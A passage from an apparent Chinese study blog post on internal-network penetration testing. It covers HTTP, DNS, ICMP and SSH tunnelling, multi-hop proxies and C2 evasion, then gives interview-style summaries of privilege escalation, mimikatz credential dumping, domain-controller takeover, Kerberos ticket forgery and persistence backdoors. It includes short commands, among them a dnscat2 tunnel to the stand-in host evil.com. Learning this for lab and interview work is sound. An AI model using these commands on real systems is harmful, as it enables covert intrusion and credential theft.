  • suo5(推荐,新一代,SOCKS over HTTP):webshell 部署代理脚本,建立 SOCKS 代理
  • Neo-reGeorg:webshell 部署 tunnel,加密 HTTP 隧道
  • abptts:HTTP 隧道,端口转发
# suo5 用法
./suo5 -t http://目标/suo5.php
# 本地开 SOCKS 代理端口,配 proxychains 访问内网

2. DNS 隧道(不出网终极手段)

场景:内网严格,只允许 DNS 查询出站(53 端口)。

原理:把数据编码成 DNS 查询的子域名,发往攻击者控制的权威 DNS 服务器。

工具:dnscat2、iodine。

# 攻击者(控制权威 DNS 服务器)
ruby dnscat2.rb evil.com
# 目标机器(出 DNS)
dnscat2.exe --dns domain=evil.com --secret 密钥

特点:带宽极低,适合传命令不适合传大文件;但能穿透严格防火墙。

3. ICMP 隧道

场景:连 DNS 都封了,但允许 ping(ICMP)出站。

原理:把数据塞进 ICMP echo 包(ping 包)的 data 字段。

工具:ptunnel、icmpshell。

4. SSH 隧道

# 本地端口转发(把远程端口转本地)
ssh -L 3306:内网MySQL_IP:3306 user@跳板机

# 动态端口转发(SOCKS 代理)
ssh -D 1080 user@跳板机
# 配 proxychains 走 1080 访问整个内网

多级代理(内网多级跳板)

比方:你在大楼里只拿下了一个房间,但目标在地下三层机房。你只能这个房间 → 走廊 → 楼梯 → 地下三层,一层层渗透。

攻击者 → 一级代理(边界机器) → 二级代理(中层机器) → 三级代理(深层机器) → 目标

工具:frp(最常用)、nps、chisel、Stowaway。

proxychains:让任意命令行工具走 SOCKS 代理的"万能转接头"。

# /etc/proxychains.conf
socks5 127.0.0.1 1080
# 之后任何命令前加 proxychains
proxychains nmap -sT -Pn 内网IP

隐蔽性:流量加密与伪装

隐蔽手段 说明
加密 frp/chisel 加 TLS,防窃听检测
伪装 HTTPS 隧道混在正常 Web 流量里
域前置(Domain Fronting) SNI 用合法域名,实际连 C2
合法服务中转 GitHub/TG/云存储 做 C2 信道
心跳 Jitter 不规律上线,避免规律性流量被检测
CDN 中转 C2 套 CDN,隐藏真实 C2 IP

附录:内网渗透面试答题框架汇总

1. 内网信息收集步骤

"内网信息收集我分六步:第一步判断环境,用 net time /domainipconfig /all 确定是域还是工作组;第二步本机信息,whoami /all 看权限、systeminfo 看补丁、tasklist /svc 看杀软;第三步网络拓扑,route print 看网段、arp -a 看近期通信、扫存活主机;第四步域内收集,net group 系列列域用户域管域控,用 BloodHound 画权限关系;第五步端口服务扫描,fscan 扫关键端口匹配可利用服务;第六步凭据收集,mimikatz 抓内存密码哈希,翻配置文件找硬编码密码。做这步是为了摸清攻击面、定位域控和高价值目标。"

2. Windows 提权方法

"Windows 提权我分几大流派:第一是内核漏洞提权,看 systeminfo 和补丁列表,找未修复的漏洞(MS17-010 等);第二是服务配置错误,找未引用路径和可写服务路径;第三是 UAC 绕过,前提已是管理员,用 fodhelper 等白名单程序绕过;第四是令牌窃取,利用 SeImpersonate 权限用 Potato 系列提权,常用于 Web 服务账户;第五是配置类,AlwaysInstallElevated、DLL 劫持。提权前先跑 WinPEAS 做全量收集,优先用配置类,内核 exp 留作兜底。"

3. Linux 提权方法

"Linux 提权我分几大流派:第一是内核漏洞,看 uname -r 找对应 exp,Dirty COW、Dirty Pipe 是经典;第二是 SUID 提权,find / -perm -4000 找 SUID 程序查 GTFOBins;第三是 sudo 错配,sudo -l 看能跑什么,能跑 vim/find/less 这类能逃逸的程序就提权;第四是计划任务,查 /etc/crontab 看脚本可写或路径劫持;第五是配置类,PATH 劫持、可写 /etc/passwd、NFS、docker 组提权。提权前先跑 LinPEAS,优先配置类,内核 exp 兜底。"

4. 凭证获取方法

"Windows 凭证获取我按存储位置分层:第一层抓 LSASS 内存,用 mimikatz sekurlsa::logonpasswords,拿明文密码、NTLM 哈希、Kerberos 票据;第二层 dump SAM 数据库,reg save 导出离线解;第三层打域控抓 NTDS.dit,用 ntdsutil 或 DCSync,DCSync 原理是模拟域控复制行为;第四层应用层,抓凭据管理器、浏览器密码、配置文件密码,用 LaZagne 一把梭。拿到哈希后两条路:能破解就 hashcat 破成明文,破解不了直接 PTH。核心原理是 Windows 认证用哈希不用明文,抓到哈希就等于抓到密码。"

5. 怎么拿下域控

"拿下域控我按攻击路径分几条路:第一条直打漏洞,MS17-010、ZeroLogon、PrintNightmare;第二条 Kerberos 攻击,AS-REP Roasting、Kerberoasting(最实用)、黄金票据、委派攻击 RBCD;第三条 ADCS 证书攻击,ESC1-8 模板配置错误;第四条 NTLM 中继,PetitPotam 强制域控认证中继到 ADCS,免密打域控;第五条已有域管凭据直接 DCSync。辅助层面用 BloodHound 找从当前用户到域管的最短攻击路径。拿下来之后做持久化:黄金票据、Skeleton Key、AdminSDHolder 后门。"

6. 黄金 vs 白银票据

"讲黄金白银票据得先说 Kerberos 认证。认证分三步:第一步 Client 向 KDC 的 AS 证明身份,AS 用 krbtgt 哈希加密发 TGT;第二步 Client 拿 TGT 向 TGS 换 ST,ST 用目标服务账户哈希加密;第三步 Client 拿 ST 直接访问服务,服务自己验证不再回 KDC。黄金票据打第一步:拿到 krbtgt 哈希伪造 TGT,全域任意服务,经 KDC 有日志,清除需两次重置 krbtgt 密码。白银票据打第三步:拿到服务账户哈希伪造 ST,跳过 KDC 无日志更隐蔽,但只能访问该特定服务,改服务账户密码即失效。"

7. 持久化方法

"持久化我按系统和隐蔽性分层。Windows 层面,经典的是注册表自启项、计划任务、服务后门;隐蔽的是 WMI 事件订阅(无文件)、COM 劫持、隐藏账户。Linux 层面,最常用 SSH 公钥写入和 Cron 计划任务;隐蔽的有 PAM 后门、内核 rootkit、LD_PRELOAD 劫持。域层面,黄金票据、Skeleton Key 万能密码、AdminSDHolder 后门。隐蔽性分四档:显性注册表/计划任务、伪装服务/DLL、无文件 WMI/COM、底层 rootkit/域票据。实战多层组合,留显性诱饵掩护隐藏后门。安服排查角度,Windows 查注册表自启键、计划任务、WMI 事件;Linux 查 cron、启动项、authorized_keys、用 rkhunter 查 rootkit。"

8. 隧道与代理

"隧道和代理我分两个层次。代理解决访问问题,分正向和反向。正向是攻击者连过去,适用攻击者能直连目标;反向是目标连出来,适用目标能出网——内网实战反向更常用。常用工具 frp、nps、chisel,配合 proxychains。隧道解决通信问题,当常规代理走不通时把流量封装成允许通过的协议。HTTP 隧道(suo5)适用只放行 80/443;DNS 隧道(dnscat2)适用只放行 DNS;ICMP 隧道(ptunnel)适用只允许 ping。内网多网段用级联代理,frp 多级嵌套。隐蔽性用加密、域前置、CDN 中转。核心:代理解决'能不能走',隧道解决'走什么协议'。"


学习建议

  1. 先理解比方再记命令:每个概念都先用大楼比方理解,再记具体命令,不容易忘
  2. 按流程学:信息收集 → 提权 → 凭证 → 横向 → 域控 → 持久化 → 隧道,这是实战顺序
  3. 对比记忆:Windows vs Linux 提权、黄金 vs 白银票据、正向 vs 反向代理,对比着记更牢
  4. 动手验证:在靶场(vulnhub、HackTheBox、内网靶场)复现每条命令
  5. 面试自测:每个漏洞/手法自测四问——原理(一句话)、利用(关键手法)、前提条件、防御/排查
posted @ 2026-09-04 23:20  Awananhh  阅读(3)  评论(0)    收藏  举报